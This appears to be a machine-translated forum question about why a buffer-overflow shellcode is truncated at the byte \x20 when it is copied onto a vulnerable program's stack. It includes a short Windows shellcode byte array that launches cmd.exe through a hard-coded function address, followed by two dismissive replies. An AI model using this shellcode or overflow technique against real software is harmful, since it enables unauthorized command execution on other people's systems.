Pourquoi mon shellcode est-il tronqué après l'opcode \x20
, lorsqu'il est copié par une chaîne à empiler sur un second programme vulnérable?Le shellcode est tronqué par x20
--cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--
Si vous ne pouvez pas répondre à cette question, vous ne devriez vraiment pas jouer avec. :-) –
Hey petit garçon, allez ..: | –